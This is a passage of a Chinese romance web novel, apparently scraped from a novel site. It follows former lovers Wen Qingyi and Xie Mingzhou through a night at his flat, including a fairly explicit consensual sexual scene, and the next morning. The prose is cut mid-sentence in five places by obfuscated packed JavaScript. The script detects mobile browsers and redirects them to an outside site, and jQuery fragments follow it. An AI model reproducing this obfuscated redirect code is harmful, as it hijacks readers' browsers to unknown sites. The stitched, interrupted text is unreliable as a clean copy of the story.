一天,一夜,还是比分秒更短暂。
只怕贪心不足,到时候得寸进尺想索求更多。
谢铭洲回来的时候温清漪脑袋还倚着窗,脸有些红。
“你看看还有没有什么其他需要的。”他把一个塑料袋放在她身上。
温清漪扯着拎口往里翻了翻,是几件女性的日常用品。
有一次性内裤、便携卸妆膏和压缩洗脸巾,都是她以前常用的牌子。
甚至还有卫生巾,日用和夜用各一包。
谢铭洲说以防万一。
温清漪摸了摸自己另一侧没被玻璃降温,还有些发烫的脸。
温女士的“注意安全”不过是身为母亲的关照,对比之下自己简直是无可救药。
她打开窗任由夜风将头发吹乱,却怎么也吹不走乱七八糟的情思,声音含糊:“这些就够了。”
谢铭洲现在住的小区是回迁房,没有电梯,一共才七层。
虽然在市中心,也足够他全款买下。
温清漪许久没爬过这么多的楼梯,落后好大一截,走到腿软终于停在701门口。
“工作忙也记得适当运动。”谢铭洲看她一副气喘吁吁的模样,忍不住说。
门开了,他摸黑按下墙壁上的大灯开关,侧身让温清漪进去。
玄关处只有一双拖鞋,找了半天才找出双一模一样的来,甚至连标签都没剪。
“我家没人来,这双鞋还是之前买一送一拿的,有点大你将就穿。”
温清漪把东西放在柜子上,大致扫了眼客厅,“带我参观下?”
说是参观,统共九十平的两室一厅,其实站在门口就能看清整个房子的构造。
谢铭洲进了厨房,“我先去烧水,你随便看看。”
有了这话,温清漪便不客气,从客厅到卧室随意走动。
客厅只有一张米色布艺双人沙发,和用四个浅咖色集装箱拼起来的茶几。
投影取代电视,下面放了一张长条形矮桌,堆满计算机的专业书和一台PS4主机。
次卧是书房,桌上的笔记本外接两块显示器,四周打了墙体书柜。
主卧在最里面,门开着,温清漪没进去。
双人床铺着纯白四件套,剩下的家具只有一个原木色斗柜。
她没多停留,回到厨房靠在门边调侃,“除了书房那点东西,你家里看着有种随时能跑路的感觉。”
“我也这么打算。”谢铭洲把过滤好的净水倒进烧水壶,按下开关。
又拿了瓶水溶C,拧开递给她,“帮助醒酒。”
“我又没喝多。”话是这样说,但她还是接过小口啜饮。
谢铭洲示意她去客厅,“想看什么,遥控器在桌上。”
温清漪扯了扯裙摆,“我想先洗澡,你有没有什么衣服能先借我穿一下?我看你阳台上有烘干机,等会儿烘好了我就换自己的。”
谢铭洲盯着她欲言又止,语气忽然变得奇怪,“我这倒还真有件你能穿的,但可能不太合适。”
他说的是合适,而不是合身。
温清漪不明所以,就见他去卧室拉开斗柜抽屉又一顿翻找,最后找出来一条裙。
浅蓝色的真丝吊带,V型领口处有一半是白色蕾丝,左右两根细肩带交叉向后延伸到后腰。
温清漪脑袋突然又开始发晕,面上热得快要烧起来,原来有更多东西比酒精醉人。
她咬着唇好一会儿没说话,想破天都想不明白,为什么消失的睡裙会在这里。
谢铭洲把睡裙递给她,硬着头皮解释,“应该是当初我收拾东西的时候不小心夹在衣服里带走了,后来发现想还给你,但一直没机会。”
“你确定要我穿这个?”温清漪没心思去思考他的话,愣愣接过衣服,出神半天才挤出来这么句话。
冰凉丝滑的布料在掌心很快被捂热。
虽然她决定多留一天,甚至晚上还和他回家的确是有所期待。
但现在的情形似乎正朝着更难以预测的方向发展。
厨房里传来分贝渐响的尖锐声,水烧开了。
谢铭洲自然觉得不妥,又从衣柜里拿了件自己的衬衣。
他不自然地咳了一声,“先穿这个,那条睡裙你明天一起带走。”
温清漪拿过衬衣,转身连同睡裙一起带进卫生间。
意识到其他洗漱用品都还在外面,她飞快跑出又跑进。
“牙刷和吹风机都在洗漱台下的柜子里。”谢铭洲趁她在关上门前叮嘱。
等到里外都没了声音,温清漪站在水池前,一颗心剧烈跳动。
她一手拿睡裙一手拿衬衣,陷入沉思。
睡裙自然是不可能穿的,只穿衬衣也不行,长度只能堪堪盖住腿根往下一点。
但她现在不想和谢铭洲说话,更不想再开门出去。
纠结好一会儿,决定给他发微信:「你能不能再借我条睡觉穿的裤子」
趁对方回复的间隙,她又点开和妈妈的聊天框。
每次有事,不管大小,好的坏的,温清漪都习惯和妈妈分享。
此刻她也想把这种难以言喻的心情告诉妈妈,奈何不知如何说起,最终又是作罢。
浴室门被敲响,传来谢铭洲的声音,“给你拿了我的睡裤,可能也有点大。你顺便把换下来的衣服给我,我现在去洗了烘干。”
温清漪开门接过那条蓝色的居家裤,“谢谢,衣服等我出来自己洗吧。”
“温清漪,”谢铭洲站着没动,“你是觉得不好意思吗?”
换下来的衣服让他去洗,怎么看都不合适。
这样简单的道理,竟然还要问个明白。
温清漪目光躲闪,“贴身衣物,不太方便。”
“以前帮你洗的内衣裤还少吗?”谢铭洲不以为然。
原来他也知道是以前,现在关系不同,哪还能一样。
她正要关门,可转念一想自己都住过来了,与其躲躲闪闪还不如和他一样坦坦荡
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635292|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
荡。
“那你等下。”说着她关上门脱衣服,但到底有些别扭,只把针织裙给他。
门开的瞬间,一只手飞快伸出又收回。
一团东西被精准塞进谢铭洲怀里。
她不听外面的动静,踏进淋浴间打开花洒,企图用水声掩盖如鼓的心跳。
从答应谢铭洲在他家过夜开始,一切就都失去了秩序。
过去与现在的界限开始模糊,叫人时时恍惚。
就这样吧,眼睛一睁一闭过一晚。
都是计划外的事,不如偶尔随心所欲。
生活总会回到正轨,早一天晚一天而已,她承认贪恋此刻的失控。
这个澡洗得格外漫长,从头到脚能涂的都用了,甚至在吹头时开了小风磨时间,但总有结束的时候。
温清漪拿着手搓的内衣裤离开浴室,正好碰到从卧室出来的谢铭洲。
他似笑非笑地看了眼墙上的挂钟,“再不出来,我就要担心你是不是晕过去了。”
温清漪想,自己现在的燥热一定是因为刚洗完澡。
她扯开话题,“水烧好了吗?有点渴。”
“帮你凉了半杯在茶几上,裙子还有十几分钟烘好,卧室的床单刚也换了。你早点休息,我去洗了。”他拿上换洗衣物,绕过温清漪进了浴室。
客厅灯都开着,双人沙发目测长约一米四,上面放了一个枕头和一床薄被。
温清漪不去想谢铭洲要怎么蜷缩在这将就一晚,她喝了口水走去阳台。
烘干机发出有规律的“嗡嗡”声,液晶屏上显示还剩九分钟。
她一边坐在阳台的躺椅上等衣服,一边又听着浴室里的动静。
当烘干机不发出声音的时候,能依稀听到一些里面的水声。
如果可以,希望谢铭洲这个澡也洗久一点,最好等她烘完衣服进了卧室再出来。
然而就在烘干机发出完成提示音的同时,浴室里的水声也停了。
温清漪还抱着不与他碰上的期望,着急忙慌去拿裙子。
谁知烘干机按钮失灵,按下解锁后轻拉把手,纹丝不动。
浴室门打开,谢铭洲顶着一头湿发,用毛巾随意擦了两下。
见她蹲在烘干机前面露难色,他把毛巾往肩上一甩,三两步走到阳台,“这个机器不太好,按钮没用,下次直接用力拉就行。”
说着半弯下腰,握住侧面把手往外用力一拉,开了。
温清漪脸微侧,稍稍仰头,能闻到谢铭洲身上淡淡的薄荷味。
有水珠从他发梢滴落,顺着脖颈滑进衣领,搭在肩上的毛巾把与衣服相触的地方弄湿。
刚才洗澡时她也用了那款沐浴露,此刻同样的气味模糊界限,顿觉氛围微妙。
谢铭洲不知道她在想什么,从烘干机里拿出裙子抖开,刚烘好的衣服热得发烫。
他已经走开,拿了晾衣架把裙子挂起来,“挂着不会皱,你明天穿的时候再收。”
温清漪深吸口气让自己回神,撑着手边的玻璃站起来,“好,那我去睡觉了。”
谢铭洲想提醒她,那条蓝色的睡裙还放在浴室的架子上。
可温清漪又丢下一句“晚安”,就逃一般进了卧室。
根本没给他再说话的机会。
谢铭洲把那条裙叠好,装进干净的密实袋,和她的包放在一起。
顺手在走廊上关掉所有灯,四周瞬间陷入黑暗。
待眼睛适应后他看了眼卧室的方向,有微弱的光从缝隙里透出来。
他正要上前一步,然而脚还没迈开,光线骤然消失。
四周寂静而混沌,像是无声警告。
若止步于此,今晚或许什么都不会发生。
5. 失眠夜
卧室里门窗紧闭,遮光帘拉得严丝合缝,周身一片寂静。
但温清漪还是觉得吵,心跳像耳边不绝的鼓声,无法抑制的亢奋让人心神不宁。
此刻的心情像极了当年等待高考出分前的半小时,对结果有一定把握,却也担心现实不似预期。
手机里放着她每晚睡前都会追更的罪案视频,但眼下进度条过半,她完全不知道最新的案件在讲什么。
只是耳观鼻,鼻观心,所有注意力都集中在门外的动静上。
走廊传来鞋底摩擦地板的踢踏声,紧接着是电灯开关的“啪嗒”声。
尚未思考,温清漪就条件反射般伸手探向床后,同时双击手机屏幕,暂停了视频。
房间登时陷入黑暗,只剩手机屏幕将息未息。
她盯着那扇门,忽然觉得这种行为和上课偷看小说时一样心虚,稍有风吹动就迅速做出应对。
只因她不想让谢铭洲发现自己还没睡。
时间有一瞬静止。
谢铭洲站在原地不动,沉默地望着地面消失的光线,如同燃尽的希望离他远去。
卧室里,温清漪坐直身体仍看向房门口,她没听到谢铭洲离开的声音,心不禁跳得更快。
不知过了多久,手机屏幕完全暗下去,门外终于传来远去的脚步声。
温清漪躁动的心渐渐缓和,直至外面再无任何声响。
与高考出分那天不同,这一刻她的期盼落空,今晚大概会就这样过去。
心里满是说不出的失落。
隐秘的期待从谢铭洲时隔三年给她打电话那天开始。
她抱着试探的心思给他发去航班信息,虽然没得到回复,但终究是在机场见到了口是心非的人。
他一如既往地待她体贴,时刻关注她的情绪,及时替她解围。
甚至清楚记得她的生理期,即便身份变了,仍乐意多一句嘴。
温清漪自作多情地想,兴许谢铭洲和她一样旧情难忘。只是他在压抑,远比自己更能隐忍。
一直以来温清漪做事都考虑长远,今天却一反常态想无所顾忌。
谢铭洲总是活在当下,而今却假装一个只拿她当许久不见好朋友的正人君子,换上干净的四件套把卧室让出来,自己心甘情愿蜷缩在狭小的沙发里。
温清漪说不出哪种抉择更难做,人的复杂由各种因素组成,自己都看不懂自己,更别提窥探别人内心。
她负气地把手机扔到一边,躺下,抱着另外一个枕头侧过身去。
新换的床单是真丝面料,柔软亲肤,有些凉又有些滑。
混合着洗衣粉的淡香,却感受不到一点谢铭洲的气息。
他更偏爱纯棉的床品,但以前只要每逢周五,就会提前把纯棉换成真丝,因为温清漪喜欢。然后搂着她一觉到天亮,美其名曰相互取暖。
思绪像被拉扯的皮筋无限延伸,松手回弹时又痛得想掉眼泪。
温清漪强迫自己不去想从前,将他所有行为归咎于习惯。
歌词不也这样写,“你扔下的习惯还顽强活在我身上”,可能他们彼此都有被潜移默化而不自知的习惯在身上。
平静过后朦胧困意袭来,她闭上眼,但愿一夜无梦。
但这睡意太浅,反而陷在半梦半醒间,像做醒不来的清明梦又仿佛被纷杂的思绪缠住。
迷迷糊糊间辗转反侧多次,以为时间过去很久,其实不过半小时。
浅睡持续到半夜,温清漪受够了这种折磨,起来想喝口水重新入睡,却发现杯子在外面。
她没了脾气,下床穿好睡裤,走去客厅。
卧室门打开,走廊的感应地灯亮起,顺着光亮来到客厅。
最先看到的是睡在沙发上的谢铭洲,这长度对他来说果然太短,无法平躺只能屈起双腿。
温清漪不禁怀疑,这个姿势真的能睡着吗?
她出来时脚步很轻,一般吵不醒熟睡的人。
微暗光线下虽然看不见更多,但谢铭洲的确是闭着眼的。
明明是因为喝水才出来,但她的目光一落在谢铭洲身上就移不开眼。
有限的视野里能看到全部的他,总好过白天能见面时却总是目光躲闪。
只要想到以后可能不会再见面,她就想趁有机会再多看两眼。
等分别时间再长一些,三年变成十年、三十年,多半就会完全忘记他的模样。
贪念无知无觉地慢慢扩散,看一眼变成想再近一点,又不知足地想蹲下身和从前一样顺着他的眉眼向下描摹。
她无端猜测,刚才黑暗中谢铭洲站在卧室门前的几秒里在想什么呢?
温清漪觉得自己自私,比起克制隐忍,满足欲望更胜一筹。
正要走近,又忽然顿在原地。
走廊感应灯灭的刹那,谢铭洲蓦地睁开眼。
黑暗中四目相对,温清漪一时忘了自己要做什么。
只觉心跳频率再度失去规律,有种做坏事被人抓住现行的尴尬与局促。
身体急剧升温的同时又意识到一点,从她开门走近到在他面前站定的几分钟里,谢铭洲一直在装睡。
心底愤怒渐起,直至超过原有的窘迫。
飘忽不定的情绪积攒了一整天,转瞬变得难以承受。
答应留下是个错误,无异于让自己置身油煎火燎的境地,进退两难。
手边刚好有个靠枕,她欲盖弥彰一般抄起扔过去。
枕头正中谢铭洲怀里,又弹落在地。
在温清漪略带愠怒的眼神中,他捡起抱枕放回原位,把她水杯里的水兑成刚好能喝的温度,一言不发递过去。
温清漪没接,再度望向谢铭洲,两人无声对峙数秒。
沉默间她发出一声轻叹,下一秒转头就回卧室。
“咔嗒”,门被从里面不轻不重地阖上。
客厅又安静下来,谢铭洲瞥了眼时间,凌晨两点半。
其实回南城后他睡眠一直都很浅,更别提今晚让温清漪留宿。
在听到卧室门打开的时候,他就醒了。
听着声音一点点靠近,即使闭着眼,也能感觉到她就站在不远处。
谢铭洲以为她是出来喝水,但迟迟没听见倒水的声音。
装睡的每分每秒都格外漫长,他最终还是忍不住睁眼。
于是看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635293|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到她僵在原地不知所措。
明明感应灯已经熄灭,谢铭洲却凭直觉感受到温清漪情绪的起伏。
有种不妙的预感在心中升起,她应该生气了。
果不其然,一个软软的东西砸过来。
或许温清漪都不明白自己在气什么,但谢铭洲却对这种说不清道不明的心念感同身受。
因为他也和她一样,一整晚的心情跌宕起伏,焦躁不安。
而扰乱心神的开端,正是来自几小时前他的那句“住我家”。
这话任谁听了都会多想,偏他在问出口时自认没有私心,仅是出于好友的善意。
现在终于认清现实,不过是在充满私欲的念头里掺杂了半点自欺欺人。
结果把事情搞得乱七八糟,就像他们之间若即若离的关系。
他拿着杯子忽地起身,穿上鞋,也向卧室走去。
鞋底与地板碰撞,不是先前刻意放轻的摩擦,带着沉重的力度每一步都走的缓慢。
重新躺下的温清漪浑身发烫,裹着真丝被进行物理降温。
谢铭洲睁眼的画面在她脑海中反复上演,只要每回想一次那情形,她的脸颊就更烫一点。
却如何都回想不起他当时的眼神。
是像在看变态一样盯着她吗?
又为什么要在装睡到一半时突然睁眼,是为了警告她的得寸进尺吗?
思来想去没个答案,只剩烦躁郁闷。
索性拉过被子将头蒙住,现在的心情就像吵架没发挥好,尤其刚刚还心虚地拿东西砸他,更像此地无银三百两。
温清漪开始懊恼,如果在同学聚会后选择住酒店,但所有尴尬的事都不会发生。
又或者一切按照原计划,在葬礼结束后准时乘坐四点半的飞机回北城。
生活重回正轨,再也不见谢铭洲,就没有让事情失控的可能。
在每次决断时都有另一种选择,但她都不加干预地顺其自然。
分明对同学聚会毫无兴趣,却还是违心地找借口称盛情难却。
明明不是没有可住的酒店,她又不是娇生惯养长大的,什么地方不能将就,怎么就答应住到谢铭洲家里。
温韵玫发的那句“我就知道”其实早就把她看穿了。
一切偏离轨迹的决定,无非醉翁之意不在酒。
此时此刻的无所适从,不过是藏着的半点心思被拆穿后的难堪。
所以即便听见门外不加掩饰的脚步声,温清漪还是在被子里缩着不动,她没想好如何面对谢铭洲。
僵持片刻,外面安静下来。
她迟疑着扯下被子,谢铭洲没走,地面缝隙里有阴影闪动。
他在门口徘徊,影子时而近时而远。
心跳像秒针,三十秒,一分钟。
“咚咚”。敲门声响。
温清漪双手紧攥,片刻后她听见自己发颤的声音:“进来。”
门把手转动,锁舌收回,光线随着豁开的缝隙一涌而上。
还没看清谢铭洲,她又一把拽过被子,将自己罩得严严实实。
感受到床垫轻微凹陷的瞬间,温清漪双眼紧闭,呼吸停滞。
6. 边缘性
谢铭洲反手关上门,“咔嗒”一声落了锁。
细微响动落入耳中,温清漪脑子懵懵的,不明白他为什么要反锁房门。
柔软床垫随着他在床边坐下而向下凹陷。
她一个激灵掀开被子猛然坐起,强装镇定,“你干嘛?”
偌大房间在黑暗对视中变得狭小,和室温一样陡升的还有心跳。
但偏偏在这种时候,在狭小密闭的空间里,她反而感到久违的安全与满足。
头顶传来谢铭洲略带笑意的声音:“我还想问你,什么时候养成了半夜不睡觉盯着别人看的习惯?还是我很好看?”
温清漪被他说得有些心虚,但没维持多久便又理直气壮起来,“你自己装睡也好意思说我,装就装吧还是突然睁眼,吓我一跳。”
“睡不着,”他很是坦然,只是失眠背后的原因耐人寻味,“你睡着了?”
“……嗯。”不过片刻迟疑,这回答便不再可信。
谢铭洲没多问,把水杯递给她,“水还喝不喝?”说着就要去按床头背后的开关。
一个飞扑过去,温清漪连忙抱住他胳膊制止。
谢铭洲被这突如其来的动作吓了一跳,杯子没拿稳,水晃了出来。
掌心在床单上一摸,湿了一片,他叹了口气,“开灯,我帮你换一下。”
“反正都湿了。”温清漪从他手里接过水杯放在床头,顺手开了一盏台灯。
这话像自言自语,意有所指。
下一秒,谢铭洲就被她揪着衣领往前拽。
他本只沾着床沿虚虚坐着,在外力拉扯下身体不受控制地前倾,慌忙间一手撑在温清漪身侧堪堪稳住身形。
等温热的鼻息喷在颈侧,才意识到他和她的距离近在咫尺。
温清漪贪婪地嗅着他身上的味道,冷冽干燥,熟悉的气味拥有抚平躁动的力量。
两人保持着这个姿势不动,谢铭洲身体不受控制地发僵,但很快抬手抚了抚她的发顶,类似一种宽慰的安抚。
她扯着衣领的手没松,有些依恋这样温柔地抚慰,但也不耽误她不依不饶:“你还没回答我,锁门干什么?”
“我……”谢铭洲难以启齿,他该如何解释那下意识的行为只是为了逗弄她,作为她在深夜窥视自己的回礼。
迟迟没听到回答她也不催,只是又换了个问题,犹如寂静夜里的一声惊雷——“我可以吻你吗?”
话音刚落,她就仰头飞快在他唇上琢了一下,虚无般的轻碰,柔软的触感稍纵即逝。
唇离开的瞬间温清漪忙低下头去,台灯昏黄的光照在谢铭洲脸侧,她不敢看他的表情。
一颗心止不住七上八下,仿佛无数只振翅待飞的蝴蝶挤在胸腔,可也有一丝胆大妄为得逞后的暗爽。
谢铭洲脊背挺得笔直,整个人如同被定住,不可言明的生理反应令他自惭形秽。
大脑发出警告,现在的温清漪太危险,他不能再待下去了。
然而身体只是刚有后退的趋势,就又被她扯着衣服拽回来。
黑暗中温清漪没控制好力道,两人唇齿相撞,她发出一声吃痛。
可即便如此仍不松手,用蛮力扑着谢铭洲向后面倒去,盛气凌人地把他压在身下。
她伏在他身上缠得那样紧,想说的话被吻围追堵截,劝她冷静的念头被一同压下。
谢铭洲推不开,也不想推开。
理智彻底溃败,再无法思考对与错,若是引火烧身那便烧吧。
这个吻急切到不成章法,直到温清漪自觉呼吸不畅,才撑着谢铭洲的胸口微微喘息,抬眼间与他四目相对。
突如其来的害羞让她把头埋进谢铭洲怀里,耳朵贴在他胸口默数着沉稳有力的心跳。
“其实刚见面的时候就想吻你了。”
谢铭洲语气含笑,“我都忘了,这种事你一向直白。忍那么久,辛苦了。”
起伏规律的胸膛让温清漪平稳住气息,事到如今她不再收敛,一吻结束更是找
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635294|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回从前的感觉,一双手也不安分起来。
隔着衣料,她在谢铭洲腹肌上左摸一下右戳一下,“你也辛苦了。”
在即将碰到衣摆末端的时候,谢铭洲忍无可忍,捉住她作乱的手,翻身在上夺回主动权。
“还是我来吧。”
她没拒绝,只是拿食指指尖戳了戳他心口,“上衣脱了。”
谢铭洲依言照做,单手脱了T恤随手扔掉,露出精瘦的胸膛。
没了布料阻隔,温清漪真切感受到掌心紧贴肌肤的触感与温度。
在她的注意力被腹肌完全吸引前,细密的吻卷土重来,比刚才更投入且温和。
谢铭洲一手撑在床侧,一手顺着她身体起伏走势游荡。
指腹触上柔软,干燥略带粗糙的痒意不轻不重,慢条斯理打着转,在上下抚摸与轻轻揉按间来回交替。
柔软的身体在霎时紧绷,声音从紧咬的唇齿间溢出。
呼吸变得急促,一只手攥住床单,一只手无意识遮住眼睛。
彻底失去视物能力后其他感官被无限放大,原本干燥的指腹此刻被水浸湿。
就在她要躲开的时候,隐秘的热意传递至腕上,谢铭洲将她遮住眼睛的那只胳膊移开。
不等她睁眼,温热潮湿的唇就落在眼皮上,很轻很痒,缓缓下移。
“可以吗?”他的呼吸停在手指刚刚触碰过的地方,待得到肯定,湿热的吻随之落下。
床单被打湿的地方向四周洇开,已分不清哪些是倾洒出来的,哪些是她的。
再抬头时,谢铭洲鼻尖与下巴都亮晶晶的,他在更进一步前停止,抽了几张纸巾帮温清漪擦拭干净。
“不继续吗?”她怔怔的,眼神有些失焦,声音含糊。
“没有计生用品,今天先这样吧。”
这后半句话意味深长,等温清漪察觉到其中深意时已经重新冲洗过,躺在新换的被单上。
她叫住准备离开的谢铭洲:“别睡沙发了。”
7. 生理期
这是见面来她第一次放下伪装与口是心非,发自真心地挽留。
话里没有任何值得探寻的深意,反倒像从前两人每次因为小事闹别扭后的大发慈悲,心情好便赦免谢铭洲睡沙发。
他欣然接受,掀开另一侧被角躺下,“明天走前你有没有其他想做的事?”
时间已经不早,温清漪眼皮沉重,下一秒就能睡着。
她强撑着最后一丝清醒,“想吃高中旁边的米线,不知道还开着吗?然后再去看看你妈妈。”
一个人睡时,温清漪最喜欢抱着枕头侧卧,大半边身体趴在枕头上。
现在身边躺着谢铭洲,胳膊摸起来硬邦邦的,她有些嫌弃地推开,说完转过身换了个舒服的姿势。
“那家店还开着,我们明天中午去。下午去机场的时候顺路去墓园,应该来得及。”谢铭洲一动不动,手脚规矩地平躺着。
没听到回应,便知道是温清漪睡着了。
他关掉台灯,盯着天花板等时间分秒流逝,在确保温清漪睡熟后才蹑手蹑脚出了卧室。
手机在客厅充电,他拔下插头,打开微信,从通讯录里点开和某人的对话框。
最近一次聊天是半个月前,对方和他说:「你再想想,什么时候想好了什么时候找我。」
半夜容易冲动,向来不适合做决定,谢铭洲却毫不犹豫:「我考虑好了,尽快帮我办理入职手续吧。」
发完就要回卧室睡觉,没想到对方竟然在凌晨四点秒回:「温清漪把你骗回来了?」
对面似乎很有精神:「这个点给我发消息,不是喝了吧?」
谢铭洲懒得和他废话:「再烦我撤回了。」
对面立刻老实,换成公事公办的语气:「好的收到。」
谢铭洲看了眼窗外,后半夜短,卧室窗帘遮光效果好,没发现天色已经渐亮。
他放下手机进了卧室,这一觉注定睡不了太久,因此每分每秒都格外珍贵。
回南城三年多少个夜晚觉浅易醒,这次终于沉沉睡去。
一觉安稳无梦,再醒来,听到身旁有动静。
睁开眼,就见温清漪猛地坐起,表情有些奇怪。
“怎么了?”他也跟着坐起,瞥了眼挂钟,快十点了。
温清漪刚刚被身下一股暖流惊醒,只觉后腰酸胀,脑子“嗡”的一声顿时清醒。
她手撑在身后,以极为奇特的姿势下了床。掀开被子,白色床单上有块拳头大小的血迹,颜色鲜红。
“起床吧,我赶紧拿去搓一下。”她努力维持面上的平静。
自从十多岁来月经开始,温清漪有不少次因为侧漏而把血弄在床单上。
母亲从未因此责怪,还告诉她没什么大不了。后来再遇到这种情况,她反而觉得是卫生巾设计不合理,问了同学才发现大家都一样。
等大学毕业和谢铭洲一起住,这种事也发生过几次。
谢铭洲的反应与母亲一样,和她说血染上了洗一洗就好,而以前基本每次都是他去洗。
今天也如此,“我来,你去换裤子吧。”
他动作迅速,手脚麻利,三两下扯掉床单出去了。
温清漪瞥了眼床垫,幸好没沾在那上面。
昨晚洗的衣服都还挂在阳台上,温清漪正纠结要怎么去拿,谢铭洲已经送了过来。
“能洗掉吗?”她已经许久没有因为经血染上床单而感到烦躁了。
“洗好了,刚沾上去的,一搓就没了。”
听他这么说,温清漪总算放下心来,然而莫名的尴尬与羞耻挥之不去,面露歉色,“真不好意思,麻烦你啊。”
“这有什么的。不过昨天买卫生用品的时候没看到你以前用的那款棉条,就只买了卫生巾,先讲究用一下吧。”说完他拿了洗漱杯去厨房。
温清漪进了洗手间,等一切收拾完毕,得空打开生理期记录软件,标记了生理期第一天。
她每个月经期基本很准,偶尔推迟或者提早一两天属于正常范围,像今天提前将近一周已经很久没遇到了。
“你好了出来先吃点东西垫垫。”谢铭洲敲了敲卫生间的门。
她拿着换下来的睡衣扔进洗衣机,走到餐桌前坐下。
面前是小半碗燕麦粥和两个煎蛋。
吃饭时过于安静,两人都不说话,对昨晚和今早的事都闭口不谈,只有勺子擦碰陶瓷碗边的声音。
电话就在这时响起,温清漪盯着屏幕思索几秒才接起。
谢铭洲坐在对面扫了眼来电显示,是个陌生的名字——宋承君。
电话接通,听不清对面在说什么,但能确定是个男人。
温清漪正想着要不要去阳台接,对面人已经开口了。
宋承君那边有些吵,“我刚回北城,带了一些东西给你妈妈送去,看你没在家我就先走了。”
“谢谢,下次别破费了。”
“没事,就一些伴手礼,我给我们办公室老师还有其他朋友都送了。”他犹豫着又问,“你还在南城?”
“嗯。”
“那我来接你?”
“不用了。”
大约是察觉到她回答都很言简意赅,宋承君意识到什么,“你现在说话不方便?”
对上对面投来的眼神,她低头喝了口粥,“我有点事,晚点聊。”
宋承君说了好,便挂断电话。
谢铭洲在电话挂断后迫不及待地问:“是他吗?”
温清漪装糊涂,“谁?”
“大学老师。”他不依不饶。
“哦……是他。”
温清漪正愁不知如何换个话题,忽然响起的门铃犹如及时雨救人于水火,她放下勺子,“我去开门。”
其实谢铭洲并不打算再多问,他不是没分寸的人,每个人都该有自己的隐私,有些事即便是最亲近的人都不适合打探。
反而更好奇,谁会在现在来找他。
门开之后,里外两人都愣住了。
相较之下,门外站着的那个人更意外一些。
那人眼圈泛红,手里捏着一个信封就往温清漪怀里塞,“原来你还没走。幸好你还没走……”
温清漪拿着信封不知所措,侧身让出道来,“杨姨,你要不先进来?”
听见门口的对话和她的称呼,谢铭洲深感困惑,他走到玄关处,门口站着的正是杨柳的母亲。
“杨姨,你有事找我?”谢铭洲之前去看杨柳的时候偶尔会和她打交道,不过交流不多。
他也实在想不到,杨柳母亲会因为什么事来找他。
但还是秉着基本礼貌请人进来,“进来坐吧,我给你倒杯水。”
杨母摇后退一步摇摇头,“昨天收拾杨柳遗物的时候发现有封信,上面写了是给温清漪的,我想只有你知道她住哪,本来想托你寄给她的。”
她又看向温清漪,“没想到你还没走,直接交给你我也更放心。我就走了,不打扰你们。”
人都走了,温清漪还站在门口愣神。
信封上字迹工整写着:温清漪收。
薄薄的一个信封捏在手里毫无分量,折叠起来的文字却像有千斤重,让人不敢展开。她没来由想起一个成语,近乡情怯。
最后还是谢铭洲关上门,从她手里抽走信封,放进斜挎包里。
“昨天忘了和你说,蓝色的这件睡裙帮你收好了别忘记带。信封塞在夹层,等上了飞机再看。如果还想去吃米
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635295|172657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
线,准备一下我们就出发。”
温清漪收了碗筷,整理好东西随时都能出门。
她不去猜信里写了什么,就像谢铭洲说的,留到上了飞机再看。
或许只要飞机起飞,当身体逐渐远离这座城市,心情便不容易被这里的人和事所影响。
/
高中隔壁的米线店还是老样子,既没倒闭也没扩店,依然小小一间,生意算不上火爆但从不间断。
正值中午午休,有不少单周周末也要上课的高中生偷跑出来替自己和同学打包米线。
等了一会儿终于有空位,两人在角落坐下。
旁边几个等餐的高中生站着围成一圈,温清漪看了会儿才发现端倪,原来他们都围着一个带手机的人。
谢铭洲见状感慨道:“真是时代不同了,想我们以前只能偷偷看小说和漫画。”
谢铭洲家里的文具店每周都会进新书,不管有趣还是无聊,他都会拿几本借给温清漪,等两人都看完了再悄悄放回去。
后来妈妈和他说:“你真以为自己做得天衣无缝?我每次每套书只拆一本试读,少了哪本一眼就看出来了。”
不同的是,自那之后谢铭洲发现妈妈每次都拆两本。
“多亏你啊,让我浪费了不少学习的机会。我很难不怀疑这是不是你的手段,不会我在那看闲书,你就背着我偷偷学习吧?”
